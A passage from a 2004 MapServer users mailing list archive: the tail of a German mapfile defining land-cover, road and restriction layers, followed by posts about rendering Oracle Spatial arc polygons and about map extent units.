" END #Geb=E4ude CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION (([ART] =3D 0) OR ([ART] =3D 50)) NAME "Geb=E4ude" COLOR 245 198 198 OUTLINECOLOR 70 0 0 END #Befestigt CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION (([ART] =3D 1) OR ([ART] =3D 2) OR ([ART] =3D 11) OR = ([ART] =3D 9) OR ([ART] =3D 13)) NAME "Strassen, Wege, Geb=E4udeerschliessung" COLOR 255 255 228 OUTLINECOLOR 25 25 12 END =20 CLASS MINSCALE 1 MAXSCALE 15000 =20 EXPRESSION ([ART] =3D 3) NAME "Trottoir" COLOR 255 232 229 OUTLINECOLOR 30 8 8 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 4) NAME "Verkehrsinsel" COLOR 255 241 187 OUTLINECOLOR 50 20 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 5) NAME "Bahnareal" COLOR 234 251 209 OUTLINECOLOR 0 70 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 6 ) NAME "Flugplatz" SYMBOL 'triangle'=20 SIZE 3 COLOR 100 100 100 BACKGROUNDCOLOR 250 250 250 OUTLINECOLOR 30 30 30 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 12 ) NAME "Parkplatz" COLOR 232 232 232 OUTLINECOLOR 30 30 40 END #Humusiert CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION (([ART] =3D 14) OR ([ART] =3D 15) OR ([ART] =3D 19) OR = ([ART] =3D 24)) NAME "Acker, Wiese, Weide, Garten, =FCbrige" COLOR 252 244 218 OUTLINECOLOR 0 70 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 16 ) NAME "Reben" SYMBOL 'reben' SIZE 1 COLOR 10 70 0 BACKGROUNDCOLOR 225 255 175 OUTLINECOLOR 0 0 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 17 ) NAME "Obstkultur" SYMBOL 'obst' SIZE 1=20 COLOR 0 50 0 BACKGROUNDCOLOR 225 255 175 OUTLINECOLOR 0 50 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 18 ) NAME "=FCbrige Intensivkultur" SYMBOL 'circle'=20 COLOR 0 50 0 BACKGROUNDCOLOR 225 255 175 OUTLINECOLOR 0 50 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 23 ) NAME "Hoch-, Flachmoor" SYMBOL 'moor' SIZE 9 COLOR 10 70 0 OUTLINECOLOR 0 70 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION (([ART] =3D 7) OR ([ART] =3D 25) OR ([ART] =3D 26)) NAME "Gew=E4sser" COLOR 209 252 255 OUTLINECOLOR 0 0 160 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 27) NAME "Schilfg=FCrtel" SYMBOL 'schilf' SIZE 8 COLOR 12 12 12 BACKGROUNDCOLOR 195 230 255 OUTLINECOLOR 0 0 85 END #Wald CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION (([ART] =3D 28) OR ([ART] =3D 30) OR ([ART] =3D 31)) NAME "Wald, Hecken, =FCbrige Bestockte" SYMBOL 'baumsymbol' COLOR 90 230 50 OUTLINECOLOR 51 102 51 =20 BACKGROUNDCOLOR 255 255 0 END #Fels, Abbau, Deponie CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 32) NAME "Fels" SYMBOL 'fels' SIZE 9 COLOR 60 60 60 BACKGROUNDCOLOR 240 240 240 OUTLINECOLOR 50 50 50 =20 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 34) NAME "Steinbruch" SYMBOL 1 SIZE 4 COLOR 138 128 118 BACKGROUNDCOLOR 247 243 229 OUTLINECOLOR 78 43 33 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION (([ART] =3D 33) OR ([ART] =3D 35) OR ([ART] =3D 36) OR = ([ART] =3D 37)) NAME "Ger=F6ll, Sand, Kiesgrube, Deponie, =FCbriger Abbau" SYMBOL 7 COLOR 153 113 102 BACKGROUNDCOLOR 248 240 232 OUTLINECOLOR 53 13 2 =20 END #Anlagen CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 21) NAME "Sportanlage gr=FCn" COLOR 182 224 195 OUTLINECOLOR 0 70 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 8) NAME "Sportanlage rot" COLOR 212 165 165 OUTLINECOLOR 70 0 0 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION ([ART] =3D 22) NAME "Friedhof" SYMBOL 'friedhofskreuz' SIZE 16 COLOR 50 50 50 BACKGROUNDCOLOR 223 223 223 OUTLINECOLOR 50 50 50 END CLASS MINSCALE 1 MAXSCALE 15000 EXPRESSION (([ART] =3D 20) OR ([ART] =3D 29)) NAME "Parkanlage, ~ bestockt" COLOR 205 247 187 OUTLINECOLOR 0 70 0 END=20 END ## FL=C4CHEN ############################### LAYER NAME bdbed #Ortsplan#Legende MINSCALE 1 MAXSCALE 15000 STATUS ON CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar" DATA "wkb_geometry from (select oid,* from kva_av_eopoly where = archive=3D0) as foo using SRID=3D-1" TYPE POLYGON #FILTER "archive=3D0" CLASSITEM "Art"=20 CLASS EXPRESSION "bla" NAME "
=A0
=A0Einzelobjekte = Fl=E4chen
" END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "7" NAME "Brunnen" COLOR 196 196 196 OUTLINECOLOR 50 50 50 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "9" NAME "Pfeiler" SYMBOL 'circle' COLOR 50 50 50 BACKGROUNDCOLOR 251 251 251 OUTLINECOLOR 50 50 50 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION (([Art] =3D 13) OR ([Art] =3D 14)) NAME "Denkmal, Mast_Antenne" SYMBOL 'Mast - Antenne' SIZE 8 COLOR 0 0 0 BACKGROUNDCOLOR 245 245 245 OUTLINECOLOR 50 50 50 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "17" NAME "Schwelle" SYMBOL 'li unten re unten' SIZE 2 COLOR 0 0 0 BACKGROUNDCOLOR 245 245 245 OUTLINECOLOR 50 50 50 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION (([ART] =3D 28) OR ([ART] =3D 30) OR ([ART] =3D 31)) NAME "bestockte Fl=E4che" # SYMBOL 10 COLOR 205 247 187 OUTLINECOLOR 50 190 15 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION (([ART] =3D 2) OR ([ART] =3D 11)) NAME "schmaler Weg" # SYMBOL 10 COLOR 255 255 228 OUTLINECOLOR 220 220 90 END CLASS MINSCALE 1 MAXSCALE 1000 EXPRESSION ([Art] =3D 8) NAME "Reservoir"=20 SYMBOL 'li unten re unten' SIZE 4 COLOR 0 0 255 OUTLINECOLOR 0 0 255 END CLASS MINSCALE 1 MAXSCALE 1000 EXPRESSION ([Art] =3D 3) =20 NAME "Eingedoltes Gew=E4sser"=20 COLOR 209 252 255 OUTLINECOLOR 102 204 255 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION (([Art] =3D 0) OR ([Art] =3D 11) OR ([Art] =3D 12) OR = ([Art] =3D 15) OR ([Art] =3D 19)) NAME "Geb=E4ude" COLOR 245 198 198 OUTLINECOLOR 0 0 0 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION (([Art] =3D 2) OR ([Art] =3D 10)) =20 NAME "Geb=E4udeteil, Unterstand"=20 SYMBOL 'li unten re unten' SIZE 2 COLOR 0 0 0 OUTLINECOLOR 0 0 0 END END LAYER NAME bdbed #Ortsplan#Legende STATUS ON MINSCALE 1 MAXSCALE 15000 CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar" DATA "wkb_geometry from (select oid,* from kva_av_eopoly where = archive=3D0) as foo using SRID=3D-1" TYPE LINE #FILTER "archive=3D0" CLASSITEM "Art"=20 CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "6"=20 NAME "Br=FCcke"=20 SYMBOL 'Gebaeude/ Mauern' COLOR 0 0 0 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "5"=20 NAME "Tunnel"=20 SYMBOL 'unterirdische Bauten' COLOR 0 0 0 END CLASS MINSCALE 1 MAXSCALE 1000 EXPRESSION "1"=20 NAME "unterirdisches Geb=E4ude"=20 SYMBOL 'unterirdische Bauten' COLOR 0 0 0 END=20 CLASS MINSCALE 1 MAXSCALE 1000 EXPRESSION "4"=20 NAME "Treppe"=20 SYMBOL 'Gebaeude/ Mauern' COLOR 140 140 140 END CLASS MINSCALE 1000 MAXSCALE 5000 EXPRESSION ([Art] =3D 1)=20 NAME "unterirdisches Geb=E4ude"=20 SYMBOL 'unterirdische Bauten' COLOR 0 0 0 END CLASS MINSCALE 1000 MAXSCALE 5000 EXPRESSION ([Art] =3D 8)=20 # NAME "Reservoir"=20 SYMBOL 'unterirdische Bauten' COLOR 0 0 255 END CLASS MINSCALE 1000 MAXSCALE 5000 EXPRESSION ([Art] =3D 3) =20 # NAME "Eingedoltes Gew=E4sser"=20 SYMBOL 'unterirdische Bauten' COLOR 102 204 255 OUTLINECOLOR 102 204 255 END END =20 ## LINIEN ###########################=20 LAYER NAME bdbed #Ortsplan#Legende MINSCALE 1 MAXSCALE 15000 STATUS ON CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar" DATA "wkb_geometry from (select oid,* from kva_av_eoline where = archive=3D0) as foo using SRID=3D-1" TYPE LINE #FILTER "archive=3D0" CLASSITEM "ART" CLASS EXPRESSION "bla" NAME "
=A0
=A0Einzelobjekte = Linien
" END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "28" NAME "Luftseilbahn" SYMBOL 'Eisenbahn/ Seilbahn/ Skilift' COLOR 70 175 225 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "29" NAME "Gondel-, Sesselbahn" SYMBOL 'Eisenbahn/ Seilbahn/ Skilift' COLOR 155 108 205=20 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "30" NAME "Materialseilbahn" SYMBOL 'Eisenbahn/ Seilbahn/ Skilift' COLOR 200 82 82=20 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "31" NAME "Skilift" SYMBOL 'Eisenbahn/ Seilbahn/ Skilift' COLOR 165 42 42 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "32" NAME "F=E4hre" SYMBOL 'Eisenbahn/ Seilbahn/ Skilift' COLOR 20 40 200 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "34" NAME "Achse" SYMBOL 'Eisenbahn/ Seilbahn/ Skilift' COLOR 0 0 0=20 END CLASS MINSCALE 5000 MAXSCALE 15000 EXPRESSION "27" # NAME "Bahngeleise" SYMBOL 'Gebaeude/ Mauern' SIZE 2 COLOR 0 0 0 END CLASS MINSCALE 2500 MAXSCALE 5000 EXPRESSION "27" # NAME "Bahngeleise" SYMBOL 'Gebaeude/ Mauern' SIZE 2 COLOR 0 0 0 END CLASS MINSCALE 1 MAXSCALE 2500 EXPRESSION "27" NAME "Bahngeleise" SYMBOL 'Gebaeude/ Mauern' SIZE 4 COLOR 0 0 0 OVERLAYSYMBOL 'bahnlinie overlay' OVERLAYSIZE 3 OVERLAYCOLOR 255 255 255 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "3" NAME "eingedoltes Gew=E4sser" SYMBOL 'unterirdische Bauten' COLOR 0 0 250=20 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "4" NAME "Treppe" SYMBOL 'Gebaeude/ Mauern' COLOR 140 140 140 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "14" NAME "Mast_Antenne" SYMBOL 'uebriger Gebaeudeteil' COLOR 120 120 120 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "23" NAME "Rinnsal" SYMBOL 'Gebaeude/ Mauern' COLOR 0 0 250=20 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "24" NAME "schmaler Weg" SYMBOL 'Abgrenzung der Bodenbedeckung' COLOR 0 0 0=20 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "25" NAME "Hochspannungsfreileitung" SYMBOL 'Oel-, Gaspipeline' COLOR 0 0 0=20 END CLASS MINSCALE 1 MAXSCALE 5000 EXPRESSION "26" NAME "Druckleitung" SYMBOL 'Oel-, Gaspipeline' COLOR 130 80 180 END END ## PUNKTE ############################### LAYER NAME bdbed #Ortsplan#Legende MINSCALE 1 MAXSCALE 5000 STATUS ON CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar" DATA "wkb_geometry from (select oid,* from kva_av_eopnt where = archive=3D0) as foo using SRID=3D-1" TYPE POINT #FILTER "archive=3D0" SYMBOLSCALE 2400 CLASSITEM "ART" CLASS EXPRESSION "bla" NAME "
=A0
=A0Einzelobjekte = Punkte
" END CLASS EXPRESSION "13"=20 NAME "Denkmal"=20 SYMBOL 'Denkmal' SIZE 10 MINSIZE 5 MAXSIZE 18 COLOR 0 0 0 END CLASS EXPRESSION "14"=20 NAME "Mast_Antenne"=20 SYMBOL 'Mast - Antenne' SIZE 10 MINSIZE 5 MAXSIZE 16 COLOR 0 0 0 END CLASS EXPRESSION "21"=20 NAME "Fels"=20 SYMBOL 'Fels' SIZE 10 MINSIZE 5 MAXSIZE 18 COLOR 0 0 0 END CLASS EXPRESSION "33"=20 NAME "Grotte, H=F6hleneingang"=20 SYMBOL 'Grotte' SIZE 10 MINSIZE 5 MAXSIZE 18 COLOR 0 0 0 END CLASS EXPRESSION "35"=20 NAME "Einzelbaum"=20 SYMBOL 'Einzelbaum' SIZE 10 MINSIZE 5 MAXSIZE 18 COLOR 0 0 0 END CLASS EXPRESSION "36"=20 NAME "Bildstock, Kruzifix"=20 SYMBOL "Kruzifix" SIZE 10 MINSIZE 5 MAXSIZE 18 COLOR 0 0 0 END CLASS EXPRESSION "37"=20 NAME "Quelle"=20 SYMBOL "Quelle" SIZE 10 MINSIZE 5 MAXSIZE 18 COLOR 0 0 0 END END LAYER NAME labels #Bezugspunkt-Beschriftung# # # DESCRIPTION "Bezugspunkt-Beschriftung" MAXSCALE 10005 MINSCALE 100 SYMBOLSCALE 5000 STATUS ON DATA avt/labelbox_centers TYPE POINT LABELMAXSCALE 6000000 LABELITEM "RPT_CK" LABELANGLEITEM "ROTATION" =20 CLASS LABEL TYPE TRUETYPE ANTIALIAS TRUE FONT arial=20 COLOR 0 0 0 =20 FORCE true=20 SIZE 14 END END END =20 LAYER NAME labels #Bezugspunkt-Beschriftung# # # DESCRIPTION "Bezugspunkt-Beschriftung" MAXSCALE 10005 MINSCALE 100 STATUS ON DATA avt/labelboxes TYPE POLYGON CLASS COLOR 255 255 204 OUTLINECOLOR 0 0 0 SYMBOL 'hellgelb transparent' END END LAYER NAME axe #Axen# # MAXSCALE 600000 STATUS ON DATA avt/axe TYPE LINE SYMBOLSCALE 25000 CLASS COLOR 153 255 0 SYMBOL 7 SIZE 1 END END=20 LAYER NAME axequery=20 MAXSCALE 6000000 STATUS OFF DATA avt/axe TYPE LINE SYMBOLSCALE 25000 CLASS COLOR 255 0 0 SYMBOL 7 SIZE 4 END END LAYER NAME axe #Axen# # MINSCALE 100 MAXSCALE 35000 STATUS ON DATA avt/axe TYPE LINE SYMBOLSCALE 25000 CLASS COLOR 153 255 0 SYMBOL 7 SIZE 1 END END ## AXENBESCHRIFTUNG ################### LAYER NAME axeo #Axen-Beschriftung# MAXSCALE 25000 STATUS ON DATA avt/axe TYPE LINE LABELITEM "AXE_CK" SYMBOLSCALE 10000 LABELMAXSCALE 600000 CLASS LABEL TYPE TRUETYPE ANTIALIAS true FONT arial COLOR 153 255 0 =20 OUTLINECOLOR 0 0 0 SIZE 8 MINSIZE 4 MAXSIZE 80 MINDISTANCE 300 ANGLE AUTO POSITION CC MINFEATURESIZE AUTO =20 END END END LAYER NAME restrict #Beschr=E4nkungen#Legende # MAXSCALE 100000 STATUS ON DATA avt/restrict/restrict_begin TYPE POINT SYMBOLSCALE 25000 # QUERYITEM "Nr" CLASSITEM "Nr" LABELITEM "Nr" LABELCACHE ON CLASS LABEL TYPE TRUETYPE ANTIALIAS TRUE FONT arial MINFEATURESIZE 6 MINSIZE 7 MINDISTANCE 2 COLOR 255 255 255 =20 SIZE 3 POSITION AUTO FORCE TRUE BUFFER 1 BACKGROUNDCOLOR 255 0 0 END =20 END=09 END LAYER NAME restrict #Beschr=E4nkungen#Legende # MAXSCALE 50000 STATUS ON TOLERANCE 10 DATA avt/restrict/restrict TYPE LINE SYMBOLSCALE 12000 # QUERYITEM "Nr" CLASSITEM "Nr" CLASS TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html" NAME "Beschr=E4nkungen" SYMBOL 7 SIZE 6 COLOR 255 0 0 =09 OVERLAYSYMBOL 7 OVERLAYCOLOR 255 255 255 OVERLAYSIZE 0.2 END END # dieser Layer ist nur vorhanden, weil das Ursprungsdatum zu kurz ist # ab Massstab 100125 wird die Linie kleiner als Pixel und deshalb nicht = mehr dargestellt # Workaround: in diesem neuen Layer wird f=FCr den entsprechenden Punkt = ein inline-feature # erstellt! LAYER=20 NAME restrict #Beschr=E4nkungen#Legende # MAXSCALE 600000 MINSCALE 100125 STATUS ON TOLERANCE 10 DATA avt/restrict/restrict TYPE POINT SYMBOLSCALE 25000 FEATURE POINTS 600689 227525 END END CLASS=20 TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html" SYMBOL 7 SIZE 80 COLOR 255 0 0 END=20 END LAYER NAME restrict #Beschr=E4nkungen#Legende # MAXSCALE 600000 MINSCALE 50001 STATUS ON TOLERANCE 10 DATA avt/restrict/restrict TYPE LINE SYMBOLSCALE 25000 CLASS TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html" SYMBOL 7 SIZE 80 COLOR 255 0 0 =09 END END #layer restrictbold wird nicht im /MapServer/ verwendet, sondern nur = f=FCr die Standalone-Applikation des AVT LAYER NAME restrictbold=20 STATUS OFF TOLERANCE 20 DATA avt/restrict/restrict TYPE POINT # CLASSITEM "nr" CLASS TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html" NAME "Beschr=E4nkungen" SYMBOL 7 SIZE 4 COLOR 255 0 0 =09 END END ## ZUSTAND-RCO1400 ################################ LAYER NAME rco1400 #Zustand rco-1400#Legende # # DESCRIPTION "Zustand RCO-1400" MAXSCALE 10005 MINSCALE 100 STATUS ON DATA avt/themes/rco-1400 TYPE POLYGON LABELMAXSCALE 6000000 CLASSITEM "VALUE1" CLASS EXPRESSION ([VALUE1] >=3D 0 and [VALUE1] < 2) NAME "0 - 2" COLOR 255 0 0 OUTLINECOLOR 0 0 0 END =20 CLASS EXPRESSION ([VALUE1] >=3D 2 and [VALUE1] < 3) NAME "2 - 3" COLOR 255 153 153 OUTLINECOLOR 0 0 0 END =20 CLASS EXPRESSION ([VALUE1] >=3D 3 and [VALUE1] < 4) NAME "3 - 4" COLOR 255 153 51 OUTLINECOLOR 0 0 0 END =20 CLASS EXPRESSION ([VALUE1] >=3D 4 and [VALUE1] < 5) NAME "4 - 5" COLOR 0 153 51 OUTLINECOLOR 0 0 0 END=20 END =20 ## BEZUGSPUNKTE ################### LAYER NAME svt_reference_ps #Bezugspunkte#Legende # # DESCRIPTION "Bezugspunkte" MAXSCALE 10005 MINSCALE 100 SYMBOLSCALE 5000 STATUS ON DATA avt/svt_reference_ps TYPE POINT LABELMAXSCALE 6000000 CLASSITEM "RPT_SEGMT_" CLASS EXPRESSION ([RPT_SEGMT_] =3D 0) NAME "Zwischenpunkt" COLOR 255 255 204 OUTLINECOLOR 0 0 0 BACKGROUNDCOLOR 255 255 204=20 SYMBOL 4 SIZE 9 END =20 CLASS EXPRESSION ([RPT_SEGMT_] =3D 1) NAME "Axensegment Anfang" COLOR 255 255 204 OUTLINECOLOR 0 0 0 BACKGROUNDCOLOR 255 255 204=20 SYMBOL 7 SIZE 11 =09 END =20 CLASS EXPRESSION ([RPT_SEGMT_] =3D 2) NAME "Axensegment Ende" COLOR 255 255 204 OUTLINECOLOR 0 0 0 BACKGROUNDCOLOR 255 255 204=20 SYMBOL 7 SIZE 11=09 END END LAYER NAME netz #Netz =F6ffentlicher Verkehr#Legende # STATUS ON CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar" DATA "wkb_geometry from avt_oev_netz using SRID=3D-1" TYPE LINE MAXSCALE 50001 CLASS NAME "Bus" EXPRESSION ([TYP] =3D 1) SIZE 3 SYMBOL 7 COLOR 0 0 255 END CLASS NAME "Bahn" EXPRESSION ([TYP] =3D 2) SYMBOL 'Gebaeude/ Mauern' SYMBOL 250000 SIZE 4 COLOR 0 0 0 OVERLAYSYMBOL 'bahnlinie overlay' OVERLAYSIZE 3 OVERLAYCOLOR 0 220 0 END END LAYER NAME netz #Netz =F6ffentlicher Verkehr#Legende # STATUS ON CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dfoo host=3Dbar user=3Dfoobar" DATA "wkb_geometry from avt_oev_netz using SRID=3D-1" TYPE LINE MINSCALE 50001 CLASS NAME "Bus" EXPRESSION ([TYP] =3D 1) SIZE 1 SYMBOL 7 COLOR 0 0 255 END CLASS NAME "Bahn" EXPRESSION ([TYP] =3D 2) SYMBOL 'Gebaeude/ Mauern' SYMBOL 250000 SIZE 4 COLOR 0 0 0 OVERLAYSYMBOL 'bahnlinie overlay' OVERLAYSIZE 3 OVERLAYCOLOR 0 220 0 END END LAYER NAME klassierung #Strassenklassierung#Legende # STATUS ON CONNECTIONTYPE POSTGIS CONNECTION "dbname=3Dcmoe host=3Dsrsofaioi4531 user=3Dmspublic = port=3D5432" DATA "wkb_geometry from avt_strassenklassierung using SRID=3D-1" TYPE LINE #MAXSCALE 50001 CLASS NAME "Achtung: Der genaue Strassenverlauf dieses Layers deckt = sich nicht mit STRADA!" EXPRESSION ([COLOR] =3D foo) SIZE 3 SYMBOL 7 COLOR 255 255 255 END CLASS NAME "Kategorie A
regionale Bedeutung, Belastung gering" EXPRESSION ([COLOR] =3D 4) SIZE 3 SYMBOL 7 COLOR 0 255 255 END CLASS NAME "Kategorie B
regionale Bedeutung, Belastung hoch" EXPRESSION ([COLOR] =3D 5) SIZE 3 SYMBOL 7 COLOR 100 0 255 END CLASS NAME "Kategorie C
kantonale Bedeutung, Belastung gering" EXPRESSION ([COLOR] =3D 40) SIZE 3 SYMBOL 7 COLOR 255 140 0 END CLASS NAME "Kategorie D
kantonale Bedeutung, Belastung hoch" EXPRESSION ([COLOR] =3D 1) SIZE 3 SYMBOL 7 COLOR 255 50 0 END CLASS NAME "Passstrassen" EXPRESSION ([COLOR] =3D 6) SIZE 3 SYMBOL 'bahnlinie overlay' #SYMBOL 7 COLOR 255 0 255 END END LAYER NAME messstellen #Z=E4hlstellen# MAXSCALE 100005 MINSCALE 100 STATUS OFF TOLERANCE 20 DATA avt/veza/messstellen TYPE POINT LABELMAXSCALE 6000000 CLASSITEM "Nr_string" LABELITEM "Nr_string" CLASS TEMPLATE = "/opt/wwwroot/sogis/MapServer/projekte/avt/strada/qry_tpl.html" SYMBOL 'Zaehlstelle' COLOR 0 0 0 SIZE 22 LABEL TYPE TRUETYPE ANTIALIAS TRUE FORCE TRUE FONT arial=20 COLOR 0 0 0 =20 SIZE 11 POSITION CC END =20 END =20 END=20 LAYER NAME liegen #Parzellen# MINSCALE 1 MAXSCALE 55000 STATUS OFF TYPE POLYGON CONNECTIONTYPE POSTGIS CONNECTION 'dbname=3Dfoo host=3Dbar user=3Dfoobar' DATA "wkb_geometry from (select oid,wkb_geometry from kva_av_liegen = where archive=3D0) as foo using SRID=3D-1" CLASS NAME "Liegenschaften" OUTLINECOLOR 40 40 40 END END END ------_=_NextPart_000_01C4102F.B7EC23B0-- From simon at inf.univali.br Mon Mar 22 09:08:33 2004 From: simon at inf.univali.br (Fernando S.) Date: Mon, 22 Mar 2004 14:08:33 -0300 Subject: [Mapserver-users] Is it possible to display compound polygon with arcs (on Oracle Spatial) In-Reply-To: <004501c41012$7766d460$bc03a8c0@twoflower> References: <004501c41012$7766d460$bc03a8c0@twoflower> Message-ID: <405F1D91.7090609@inf.univali.br> This is a multi-part message in MIME format. --------------070108070200020804050500 Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 8bit Hi, I already had problems with this type. We (G10-LCA) know this problem with this type. The real problem it's with arc type. We have some problems to convert between the way that mapserv draw arcs and the Oracle Spatial store the arc type. We are stunding the best way to do this convertion. I have only two question, what function you use to generate this type? When I used oracle spatial function SDO_BUFFER I had this problem. And what do you what to draw? Some help you can report me. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa?a~o Aplicada MapOracleSpatial developer http://g10.cttmar.univali.br ================================================================== Jiri Potocny wrote: > Dear All, > > I experienced troubles dsiplaying compound polygon containing > arcs stored in Oracle Spatial, such as: > > SDO_GEOMETRY(2007, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1005, 3, 1, > 2, 1, 7, 2, 2, 11, 2, 1), SDO_ORDINATE_ARRAY(-549829,25, > -1287249,5, -549843,56, -1287256,9, -549838,9, -1287265,7, > -549833,07, -1287262,7, -549830,55, -1287262,2, -549828,71, > -1287260,4, -549824,59, -1287258,2, -549829,25, -1287249,5)) > > The map server returns following error: > > msDrawMap(): Image handling error. Failed to draw layer named > 'parcels'. > msDrawShape(): General error message. Only polygon shapes can be > drawn using a POLYGON layer definition. > > Did anybody experienced the same trouble or does anybody know how to > treat such geometries, please? > > Regards, > Jirka --------------070108070200020804050500 Content-Type: text/html; charset=ISO-8859-2 Content-Transfer-Encoding: 8bit Hi,
??? I already had problems with this type. We (G10-LCA) know this problem with this type. The real problem it's with arc type. We have some problems to convert between the way that mapserv draw arcs and the Oracle Spatial store the arc type. We are stunding the best way to do this convertion.
??? I have only two question, what function you use to generate this type? When I used oracle spatial function SDO_BUFFER I had this problem. And what do you what to draw?
??
??? Some help you can report me.

==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laborat?rio de Computa?ão Aplicada
MapOracleSpatial developer
http://g10.cttmar.univali.br
==================================================================
????

Jiri Potocny wrote:
Dear All,
?
I experienced troubles dsiplaying compound polygon containing arcs?stored in Oracle Spatial, such as:
SDO_GEOMETRY(2007, NULL, NULL, SDO_ELEM_INFO_ARRAY(1, 1005, 3, 1, 2, 1, 7, 2, 2, 11, 2, 1), SDO_ORDINATE_ARRAY(-549829,25, -1287249,5, -549843,56, -1287256,9, -549838,9, -1287265,7, -549833,07, -1287262,7, -549830,55, -1287262,2, -549828,71, -1287260,4, -549824,59, -1287258,2, -549829,25, -1287249,5))
The map server returns following error:
msDrawMap(): Image handling error. Failed to draw layer named 'parcels'.
msDrawShape(): General error message. Only polygon shapes can be drawn using a POLYGON layer definition.
Did anybody experienced the same trouble or?does anybody know how to treat such geometries, please?
?
Regards,
Jirka

--------------070108070200020804050500-- From Tony.Jolibois at cls.fr Mon Mar 22 08:29:42 2004 From: Tony.Jolibois at cls.fr (Tony Jolibois) Date: Mon, 22 Mar 2004 17:29:42 +0100 Subject: [Mapserver-users] Extent and units Message-ID: <6.0.1.1.0.20040322172354.01ecc218@pop.cls.fr> --=====================_21276062==.ALT Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Hi all, I don't understand the extent of the data in the demo of the mapserver : * in the map file : EXTENT 201621.496941 -294488.285333 1425518.020722= =20 498254.511514 * the same data with ogrinfo : -97.238976 41.619778 -82.122902 49.385620 The 1rst are in meter and the second in degrees, how do you pass from the=20 2nd to the first ? Can't we define the EXTENT with decimal degrees in the mapfile ? Thanks for the help, Tony ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Tony Jolibois CLS, Direction Oc=E9anographie Spatiale Tel: (+33) (0) 561 393 797 Internet: http://www.cls.fr ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --=====================_21276062==.ALT Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable         Hi all,

I don't understand the extent of the data in the demo of the mapserver=20 :
  • in the map file : EXTENT 
    201621.496941 -294488.285333
1425518.020722
498254.511514
  • the same data with ogrinfo : -97.238976 41.619778 -82.122902 49.385620
The 1rst are in meter and the second in degrees, how do you pass from the 2nd to the first ?
Can't we define the EXTENT with decimal degrees in the mapfile=20 ?

Thanks for the help,
Tony
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Tony Jolibois
CLS, Direction Oc=E9anographie Spatiale
Tel: (+33) (0) 561 393 797
Internet: http://www.cls.fr
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
